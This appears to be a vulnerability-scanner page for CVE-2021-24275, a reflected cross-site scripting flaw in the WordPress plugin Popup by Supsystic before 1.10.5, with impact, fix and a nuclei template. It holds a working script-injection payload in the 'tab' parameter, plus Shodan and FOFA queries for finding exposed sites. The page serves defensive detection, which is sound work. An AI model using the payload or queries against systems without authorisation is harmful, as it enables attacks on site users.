Popup by Supsystic <1.10.5 - Cross-Site scripting

mediumseverity

6.1CVSS score

18.2%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to Popup by Supsystic version 1.10.5 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24275 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24275

info:
  name: Popup by Supsystic <1.10.5 - Cross-Site scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to Popup by Supsystic version 1.10.5 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f
    - http://packetstormsecurity.com/files/164311/WordPress-Popup-1.10.4-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24275
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24275
    cwe-id: CWE-79
    epss-score: 0.18165
    epss-percentile: 0.97227
    cpe: cpe:2.3:a:supsystic:popup:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: supsystic
    product: popup
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/popup-by-supsystic
    fofa-query: body=/wp-content/plugins/popup-by-supsystic
    publicwww-query: /wp-content/plugins/popup-by-supsystic
  tags: cve2021,cve,wpscan,packetstorm,wordpress,wp-plugin,supsystic,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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